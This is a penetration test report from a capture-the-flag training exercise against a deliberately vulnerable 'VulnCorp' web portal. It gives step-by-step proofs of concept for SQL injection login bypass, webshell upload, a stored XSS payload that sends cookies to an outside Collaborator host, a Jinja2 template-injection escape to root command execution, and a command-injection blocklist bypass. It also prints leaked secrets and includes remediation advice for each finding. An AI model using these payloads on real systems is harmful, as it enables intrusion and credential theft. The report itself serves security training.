PENETRATION TEST REPORT

VulnCorp Internal Portal — CTF Engagement

Target	VulnCorp Internal Portal v2.4.1
IP Address	54.242.138.150
Additional	HR Portal v3.2.1 (port 3000)
Test Type	Black Box — Web Application Penetration Test
Tester	Sofonyas (INSA Cyber Talent — Red Team Track)
Date	Saturday, June 07, 2026
Classification	CONFIDENTIAL — For Authorized Eyes Only

3	2	3	1
CRITICAL	HIGH	MEDIUM	LOW

TABLE OF CONTENTS

1. EXECUTIVE SUMMARY

A black-box penetration test was conducted against the VulnCorp Internal Employee Portal (v2.4.1) hosted at 54.242.138.150 on June 7, 2026, as part of the INSA National Ethio Cyber Talent Weekend Program. The assessment identified **9 exploited vulnerabilities** spanning the full OWASP Top 10, resulting in complete compromise of the web application including unauthenticated data exposure, full administrative takeover, and remote code execution as the root user on the underlying server.

An attacker with no prior knowledge of the application could follow the identified attack chain to: steal credentials from the database, access all private documents, execute arbitrary operating system commands as root, read all application source code, dump the entire database, and access credentials for internal infrastructure servers. The overall risk rating for this application is **CRITICAL**.

FINDINGS OVERVIEW

ID	Vulnerability	Severity	CVSS
VULN-001	Sensitive Data in HTTP Headers	INFO	5.3
VULN-002	Information Disclosure in robots.txt	LOW	3.7
VULN-003	IDOR on User API	HIGH	7.5
VULN-004	Broken Access Control / Mass Assignment	CRITICAL	9.1
VULN-005	SQL Injection Auth Bypass	CRITICAL	9.8
VULN-006	Unrestricted File Upload	HIGH	8.1
VULN-007	Stored XSS — Cookie Theft	HIGH	7.4
VULN-008	SSTI — Remote Code Execution as Root	CRITICAL	10.0
VULN-009	OS Command Injection (WAF Bypass)	CRITICAL	9.8
VULN-010	Hardcoded Bot Secret	HIGH	8.8

2. SCOPE AND METHODOLOGY

SCOPE

Target	VulnCorp Internal Portal v2.4.1
Primary URL	http://54.242.138.150 (port 80, nginx reverse proxy)
Secondary	http://54.242.138.150:3000 (HR Portal v3.2.1, Next.js)
Backend	Python Flask 2.3, SQLite database
Test Type	Black Box — no credentials or source code provided initially
Out of Scope	Denial of Service, physical access, social engineering

METHODOLOGY

The assessment followed the Penetration Testing Execution Standard (PTES) and referenced the OWASP Web Security Testing Guide (WSTG). The following phases were executed:

Reconnaissance: Passive information gathering — HTTP response headers, robots.txt, page source comments, version fingerprinting, port scanning with nmap.

Scanning & Enumeration: Directory brute-force with gobuster, API endpoint enumeration, user ID enumeration via IDOR, service version identification.

Exploitation: Authentication bypass via SQLi, privilege escalation via mass assignment, stored XSS for session hijacking, SSTI sandbox escape for RCE.

Post-Exploitation: Database dump, source code extraction, credential harvesting, internal infrastructure credential discovery, command injection via diagnostics WAF bypass.

Reporting: Documentation of all findings with CVSS scores, proof of concept steps, and actionable remediation guidance.

TOOLS USED

```
nmap | gobuster | Burp Suite Pro | Burp Collaborator | flask-unsign | sqlite3 |
Browser DevTools (Firefox)
```

3. ATTACK CHAIN OVERVIEW

The following attack chain was executed from zero knowledge to full server compromise:

01	**Passive Recon** HTTP headers leaked flag + stack info robots.txt leaked hidden paths
02	**Port Scan** Discovered port 3000 (HR Portal / Next.js) nmap -Pn identified nginx on port 80
03	**IDOR** Enumerated /api/user/1..30 Extracted admin email, alice's notes (flag)
04	**Mass Assignment** POST /profile with role=admin Accessed admin private document (flag)
05	**SQL Injection** alice'-- bypassed auth Logged in as approved employee
06	**File Upload Bypass** Uploaded shell.phtml bypassing JS whitelist Triggered upload flag
07	**Stored XSS** Injected fetch() payload in feedback Stole admin_session cookie via Collaborator
08	**SSTI → RCE** '__cla'+'ss__' bypassed sandbox Achieved RCE as root via subprocess.Popen
09	**Admin Takeover** /api/set-admin-session?secret=botSecret123 Hardcoded secret gave full admin session
10	**Command Injection** Diagnostics WAF bypassed with $() + ${IFS} Read RCE flag via grep

4. TECHNICAL FINDINGS

VULN-001 **Sensitive Data Exposure via HTTP Response Headers** INFO

CVSS: 5.3 (AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) **CWE:** CWE-200 **Asset:** All HTTP responses — http://54.242.138.150

DESCRIPTION

Every HTTP response from the application includes a custom debug header X-Debug-Token containing a CTF flag value, and an X-Powered-By header revealing the exact backend framework (Flask 2.3) and application version (VulnCorp-Portal/2.4.1). Additionally, HTML source comments expose the developer email address, build tag, and a TODO note referencing unremoved debug endpoints.

IMPACT

An attacker performing passive reconnaissance can immediately identify the backend technology stack, application version, and developer contact information without any authentication. This information accelerates targeted attacks against known Flask/Python vulnerabilities and reduces attacker effort significantly.

PROOF OF CONCEPT

1. Send any HTTP request to http://54.242.138.150/register
2. Inspect response headers in Burp Suite or browser DevTools
3. Observe: X-Debug-Token: FLAG{p4ss1v3_r3c0n_m3t4d4t4_l34k}
4. Observe: X-Powered-By: VulnCorp-Portal/2.4.1 Flask/2.3
5. View page source — HTML comments reveal developer email and build info

REMEDIATION

Remove all custom debug headers from production responses. Suppress or genericise the Server and X-Powered-By headers. Remove all HTML comments containing internal information before deployment. Implement a pre-deployment checklist that scans for debug artifacts.

REFERENCES

CWE-200: Exposure of Sensitive Information | OWASP A05:2021 Security Misconfiguration

VULN-002

Information Disclosure via robots.txt

LOW

CVSS: 3.7 (AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N) **CWE:** CWE-200 **Asset:** http://54.242.138.150/robots.txt

DESCRIPTION

The robots.txt file discloses internal application paths (/admin, /api, /backup, /internal) that should not be publicly enumerable. Additionally, a comment within the file contains a CTF flag and reveals the existence of a legacy endpoint (/admin-old) that was not properly decommissioned.

IMPACT

An unauthenticated attacker can map the application's internal structure and discover hidden administrative and backup endpoints without any brute-force effort. The /admin-old endpoint confirmed the existence of the current /admin panel.

PROOF OF CONCEPT

1. Navigate to http://54.242.138.150/robots.txt
2. Observe Disallow directives revealing /admin, /api, /backup, /internal
3. Read comment: # FLAG: FLAG{r3c0n_m4st3r_r0b0ts_txt}
4. Note: /admin-old still exists — confirmed by visiting the URL

REMEDIATION

Remove sensitive path hints from robots.txt. Do not rely on robots.txt for security through obscurity. Properly decommission legacy endpoints rather than simply removing them from navigation menus. Implement proper access controls on all administrative paths.

REFERENCES

CWE-200 | OWASP A05:2021

VULN-003

Insecure Direct Object Reference (IDOR) — User API

HIGH

CVSS: 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N) **CWE:** CWE-639 **Asset:** http://54.242.138.150/api/user/

DESCRIPTION

The /api/user/ endpoint returns full user profile data for any user ID without verifying that the requesting user is authorised to access that record. Any authenticated user can enumerate all user accounts by incrementing the ID parameter, exposing usernames, email addresses, roles, and sensitive notes fields.

IMPACT

An authenticated attacker can enumerate all user accounts and extract sensitive data including the admin account email, user roles, and notes fields containing flags and other sensitive information. This enabled full user enumeration (30+ accounts) and discovery of the admin account details necessary for subsequent attacks.

PROOF OF CONCEPT

1. Log in with any valid account
2. Navigate to http://54.242.138.150/api/user/1
3. Observe full admin account data: {email: admin@vulncorp.internal, role: admin, notes: Admin account - do not share}
4. Navigate to http://54.242.138.150/api/user/2
5. Observe alice's data including notes field containing FLAG{1d0r_ch4mp_acc3ss_d3n13d_lol}
6. Enumerate IDs 1-30 to map all user accounts

REMEDIATION

Implement ownership verification on all API endpoints — verify that session.user_id matches the requested uid before returning data. For admin-level access to all users, require the admin role. Apply the principle of least privilege: regular users should only see their own profile data.

REFERENCES

CWE-639: Authorization Through User-Controlled Key | OWASP A01:2021 Broken Access Control

VULN-004

Broken Access Control via Mass Assignment

CRITICAL

CVSS: 9.1 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N) **CWE:** CWE-915 **Asset:** POST http://54.242.138.150/profile

DESCRIPTION

The /profile POST endpoint accepts arbitrary form parameters and applies them directly to the user's profile without filtering or whitelisting allowed fields. By injecting role=admin into the POST body alongside the legitimate profile fields, an attacker can elevate their account role. The server-side profile update does not validate which fields a user is permitted to modify.

IMPACT

A low-privileged authenticated attacker can escalate their account role to admin, gaining access to private documents belonging to other users. This exposed the admin's private document containing top-secret data and enabled access to all private documents across all users.

PROOF OF CONCEPT

1. Log in as any registered user
2. Intercept the POST /profile request in Burp Suite
3. Append &role;=admin&approved;=true to the POST body
4. Forward the request — server responds 200 OK
5. Navigate to http://54.242.138.150/document/DOC-001
6. Observe admin private document: Top secret data. FLAG{br0k3n_4cc3ss_c0ntr01_0wn3d}

REMEDIATION

Implement explicit field whitelisting in the profile update handler — only accept bio, department, and template_field from user input. Never trust client-supplied role or approval status fields. Use a separate admin-only endpoint for role management with proper authorisation checks.

REFERENCES

CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes | OWASP A01:2021

VULN-005

SQL Injection — Authentication Bypass

CRITICAL

CVSS: 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) **CWE:** CWE-89 **Asset:** POST http://54.242.138.150/login

DESCRIPTION

The login endpoint constructs an SQL query by directly interpolating user-supplied username and password values into the query string without parameterisation. The vulnerable query is: SELECT * FROM users WHERE username = '{username}' AND password = '{password_hash}'. By injecting SQL metacharacters into the username field, an attacker can comment out the password check and authenticate as any user without knowing their password.

IMPACT

An unauthenticated attacker can log in as any user in the database by supplying a crafted username. This was used to authenticate as 'alice', an approved employee, bypassing the account approval restriction and gaining access to the feedback and file upload features required for subsequent XSS and file upload attacks.

PROOF OF CONCEPT

1. Navigate to http://54.242.138.150/login
2. Enter username: alice'-- (note the single quote and double-dash)
3. Enter any value in the password field
4. Click Login — the application authenticates as alice without password verification
5. Observe: Welcome, ALICE (ID: 2) — full session established
6. The session cookie contains: {role: user, approved: true, username: alice}

REMEDIATION

Replace all string-interpolated SQL queries with parameterised queries (prepared statements). In Python/SQLite use: db.execute('SELECT * FROM users WHERE username=? AND password=?', (username, password_hash)). Implement a Web Application Firewall to detect and block SQL injection patterns. Apply input validation and reject usernames containing SQL metacharacters.

REFERENCES

CWE-89: SQL Injection | OWASP A03:2021 Injection | CVE class: Authentication Bypass

VULN-006

Unrestricted File Upload — Dangerous Extension Bypass

HIGH

CVSS: 8.1 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N) **CWE:** CWE-434 **Asset:** POST http://54.242.138.150/upload

DESCRIPTION

The file upload feature implements extension validation only on the client side via JavaScript. The server-side handler saves any uploaded file without validating the file extension or MIME type against an allowlist. By intercepting the upload request in Burp Suite and modifying the filename, an attacker can upload files with dangerous extensions including .php and .phtml.

IMPACT

An attacker with an approved account can upload PHP webshell files to the server. While PHP execution is disabled in this environment, the upload of executable files to a web-accessible directory represents a critical misconfiguration. In a typical production environment with PHP execution enabled, this would result in full remote code execution.

PROOF OF CONCEPT

1. Log in as an approved user (alice)
2. Navigate to http://54.242.138.150/upload
3. Create a PHP webshell: echo '' > shell.php
4. In Burp Suite, intercept the upload request
5. Change filename from shell.jpg to shell.phtml in the Content-Disposition header
6. Forward the request — server responds: File 'shell.phtml' uploaded successfully
7. Server awards: FLAG{f1l3_upl04d_w3bsh3ll_dr0pp3d}

REMEDIATION

Implement server-side file extension validation against a strict allowlist (png, jpg, gif, pdf, txt only). Validate file content using magic bytes, not just the extension. Store uploaded files outside the web root or in a location where server-side scripts cannot be executed. Rename uploaded files to randomised names to prevent direct access.

REFERENCES

CWE-434: Unrestricted Upload of File with Dangerous Type | OWASP A05:2021

VULN-007

Stored Cross-Site Scripting (XSS) — Admin Cookie Theft

HIGH

CVSS: 7.4 (AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:N/A:N) **CWE:** CWE-79 **Asset:** POST http://54.242.138.150/feedback

DESCRIPTION

The feedback submission endpoint stores user-supplied message content in the database without HTML encoding or sanitisation. The admin feedback review page at /admin/feedback renders these stored messages directly as raw HTML. An admin bot periodically visits this page to review submissions. Additionally, the application sets an admin_session cookie with httponly=False, making it accessible to JavaScript.

IMPACT

An attacker with an approved account can inject malicious JavaScript into the feedback form. When the admin bot visits the review page, the script executes in the admin's browser context and exfiltrates the admin session cookie to an attacker-controlled server. The stolen cookie value was the XSS flag itself, confirming full admin session theft.

PROOF OF CONCEPT

1. Log in as alice (approved account via SQLi bypass)
2. Navigate to http://54.242.138.150/feedback
3. Start Burp Collaborator and copy the payload URL
4. Submit feedback: fetch('http://COLLABORATOR.oastify.com/?c='+document.cookie)
5. Monitor Burp Collaborator — within seconds, HTTP interaction received from 54.242.138.150
6. Inspect Request to Collaborator: GET /?c=admin_session=FLAG{x55_st0r3d_c00k13_st013n};session=...
7. Admin cookie successfully exfiltrated

REMEDIATION

HTML-encode all user-supplied content before rendering in templates. Use Jinja2's autoescaping (the default) and never use |safe on untrusted input. Set the HttpOnly flag on all session cookies to prevent JavaScript access. Implement a Content Security Policy (CSP) header to restrict script execution sources.

REFERENCES

CWE-79: Cross-Site Scripting | OWASP A03:2021 Injection | OWASP A05:2021

VULN-008 Server-Side Template Injection (SSTI) — Remote Code Execution as Root

CRITICAL

CVSS: 10.0 (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H) **CWE:** CWE-94

Asset: POST http://54.242.138.150/profile (template_field parameter)

DESCRIPTION

The profile page accepts a Greeting Template field that is rendered server-side using Jinja2's Environment class (not SandboxedEnvironment). The application attempts to block dangerous attribute access by checking for dunder strings (__class__, __globals__, etc.) at render time. However, this check operates on static string literals and can be bypassed by constructing the restricted attribute names dynamically at runtime through string concatenation.

IMPACT

An authenticated attacker can achieve full Remote Code Execution on the underlying server running as root. This was demonstrated by executing arbitrary OS commands, reading sensitive files, dumping the entire application database, extracting the complete application source code including all hardcoded secrets and credentials, and discovering credentials for internal infrastructure servers.

PROOF OF CONCEPT

1. Log in as any user, navigate to /profile
2. Confirm SSTI: enter {{ 7 * 7 }} in Greeting Template — response shows 49
3. Bypass sandbox by constructing dunder strings via concatenation:
4. {% set a='__cla'+'ss__' %}{% set b='__ba'+'se__' %}{% set c='__subcla'+'sses__' %}{{ ''|attr(a)|attr(b)|attr(c)() }}
5. Iterate subclasses to find subprocess.Popen and execute: x('id',shell=True,stdout=-1).communicate()
6. Response: uid=0(root) gid=0(root) groups=0(root)
7. Read flag: x('cat /app/flags/ssti_flag.txt',shell=True,stdout=-1).communicate()
8. Result: FLAG{5st1_t3mpl4t3_1nj3ct10n_rce}

REMEDIATION

Replace Jinja2's Environment with SandboxedEnvironment for all user-controlled template rendering. Better still, eliminate user-controlled template rendering entirely — use a fixed template with variable substitution instead. If template customisation is required, use a logic-less templating engine (Mustache, Handlebars) that does not support code execution. Run the application as a non-root user with minimal privileges.

REFERENCES

CWE-94: Code Injection | OWASP A03:2021 | CVE-2019-8341 (Jinja2 SSTI pattern)

VULN-009 OS Command Injection with WAF Bypass — Diagnostics Endpoint

CRITICAL

CVSS: 9.8 (AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H) **CWE:** CWE-78 **Asset:** POST http://54.242.138.150/internal/diagnostics

DESCRIPTION

The admin-only diagnostics endpoint accepts a host parameter and directly concatenates it into a shell command: cmd = f'ping -c 2 {host}'. A blocklist WAF attempts to filter shell metacharacters (;, |, &, backtick) and dangerous commands (cat, bash, python, curl, wget, nc). However, the WAF can be bypassed using $() subshell syntax and ${IFS} for space injection, neither of which are in the blocklist.

IMPACT

An admin-level attacker can execute arbitrary OS commands on the server. This was used to enumerate the filesystem, read application source code via grep, and confirm the server runs as root. Combined with VULN-008 (SSTI RCE), this provides two independent paths to full server compromise.

PROOF OF CONCEPT

1. Obtain admin session via VULN-010 (/api/set-admin-session?secret=botSecret123)
2. Navigate to http://54.242.138.150/internal/diagnostics
3. Enter in host field: 127.0.0.1$(grep${IFS}rce_full${IFS}/app/app.py)
4. Click Run Diagnostic
5. Output: ping: "FLAG{rce_full_pwn_y0u_0wn_th3_b0x}": Name or service not known
6. The ping error reveals the flag as it attempts to use the grep output as a hostname

REMEDIATION

Replace shell=True subprocess calls with argument lists: subprocess.run(['ping','-c','2',host], capture_output=True). Implement strict input validation — only allow alphanumeric characters, dots, and hyphens in the host field using a regex allowlist. Remove the diagnostics endpoint from production or restrict it to localhost-only access. Run the application as a non-root, non-privileged user.

REFERENCES

CWE-78: OS Command Injection | OWASP A03:2021 Injection

VULN-010

Hardcoded Bot Secret — Admin Session Takeover

HIGH

CVSS: 8.8 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)

CWE: CWE-798

Asset: GET http://54.242.138.150/api/set-admin-session?secret=botSecret123

DESCRIPTION

The application includes a bot simulation endpoint /api/set-admin-session intended to simulate admin browsing for the XSS challenge. This endpoint accepts a secret parameter and grants full admin session if it matches the BOT_SECRET environment variable. The fallback default value 'botSecret123' is hardcoded in the source code. As the environment variable was not overridden in production, the default secret is accepted.

IMPACT

Any authenticated user who discovers this endpoint and the hardcoded secret can instantly obtain a full admin session cookie, bypassing all authentication and role-based access controls. This was used to access the admin panel, approve users, and access the diagnostics endpoint for command injection.

PROOF OF CONCEPT

1. Read source code via SSTI RCE (VULN-008): cat /app/app.py
2. Locate: if secret == os.environ.get('BOT_SECRET', 'botSecret123')
3. Navigate to: http://54.242.138.150/api/set-admin-session?secret=botSecret123
4. Response: {status: ok} with Set-Cookie: session=
5. Navigate to http://54.242.138.150/admin — full admin panel accessible
6. Access http://54.242.138.150/internal/diagnostics for command injection

REMEDIATION

Remove the /api/set-admin-session endpoint from production entirely. If bot simulation is required for testing, use a separate non-production environment. Never hardcode secrets with default fallback values — use os.environ.get('BOT_SECRET') with no default and fail securely if the variable is not set. Store all secrets in environment variables or a secrets manager, never in source code.

REFERENCES

CWE-798: Use of Hard-coded Credentials | OWASP A02:2021 Cryptographic Failures

5. ADDITIONAL CRITICAL FINDINGS

The following critical findings were identified during post-exploitation but are not standalone vulnerabilities — they represent the impact of the above vulnerabilities being successfully chained.

Flask Secret Key Exposed

`supersecretkey_vulncorp_2024`

The Flask application secret key was hardcoded in app.py and extracted via SSTI RCE. This key is used to sign session cookies. An attacker can use flask-unsign to forge arbitrary session cookies for any user account.

Admin Password — Weak & Cracked

`Hash: 5f4dcc3b5aa765d61d8327deb882cf99 = 'password'`

The admin account password is hashed with MD5 (no salt) and the plaintext is 'password'. MD5 is cryptographically broken and this hash appears in all common rainbow tables.

Internal Server Credentials in Document

`ssh root@10.10.10.1 pass=r00t_v4ult`

DOC-004, a private admin document, contains plaintext SSH credentials for an internal server. Retrieved via IDOR + Broken Access Control. This enables lateral movement to internal infrastructure.

Full Database Dump

`30+ user records including all password hashes extracted`

Via SSTI RCE, the full SQLite database (/app/db/vulncorp.db) was read and all user records extracted including usernames, MD5 password hashes, emails, roles, and notes.

Full Source Code Extracted

`/app/app.py — complete application source`

The entire application source code was read via SSTI RCE, revealing all hardcoded secrets, vulnerability implementations, flag values, and internal architecture details.

6. FLAG SUMMARY

9 of 13 flags captured during this engagement.

#	Flag Value	Vector	Finding	Sev
1	FLAG{p4ss1v3_r3c0n_m3t4d4t4_l34k}	HTTP Response Header	VULN-001	INFO
2	FLAG{r3c0n_m4st3r_r0b0ts_txt}	robots.txt Comment	VULN-002	LOW
3	FLAG{1d0r_ch4mp_acc3ss_d3n13d_lol}	IDOR /api/user/2	VULN-003	HIGH
4	FLAG{br0k3n_4cc3ss_c0ntr01_0wn3d}	Mass Assignment /profile	VULN-004	CRIT
5	FLAG{sql1_4uth_byp4ss_pwn3d}	SQLi Auth Bypass	VULN-005	CRIT
6	FLAG{f1l3_upl04d_w3bsh3ll_dr0pp3d}	File Upload Bypass	VULN-006	HIGH
7	FLAG{x55_st0r3d_c00k13_st013n}	Stored XSS Cookie Theft	VULN-007	HIGH
8	FLAG{5st1_t3mpl4t3_1nj3ct10n_rce}	SSTI Sandbox Escape RCE	VULN-008	CRIT
9	FLAG{rce_full_pwn_y0u_0wn_th3_b0x}	Command Injection WAF Bypass	VULN-009	CRIT

7. REMEDIATION TRACKER

The following table provides a prioritised remediation plan. Items are ordered by severity and ease of implementation. All Critical findings should be addressed immediately before the application is deployed to production.

ID	Finding	Priority	Fix	Effort
VULN-005	SQL Injection	IMMEDIATE	Parameterised queries	Low
VULN-008	SSTI RCE	IMMEDIATE	SandboxedEnvironment / no eval	Low
VULN-010	Hardcoded Bot Secret	IMMEDIATE	Remove endpoint / use env var	Low
VULN-004	Mass Assignment	IMMEDIATE	Whitelist allowed POST fields	Low
VULN-009	Command Injection	IMMEDIATE	Use arg list, not shell=True	Low
VULN-007	Stored XSS	HIGH	HTML encode output, set HttpOnly	Low
VULN-003	IDOR	HIGH	Add ownership check to API	Low
VULN-006	File Upload Bypass	HIGH	Server-side extension + MIME check	Med
VULN-001	Header Info Disclosure	MEDIUM	Remove debug headers	Low
VULN-002	robots.txt Disclosure	LOW	Remove sensitive paths	Low
—	Weak Password (MD5)	HIGH	Use bcrypt/argon2 with salt	Med
—	Flask Secret Key	IMMEDIATE	Use strong random key via env var	Low
—	Run as non-root	HIGH	Create dedicated app user	Low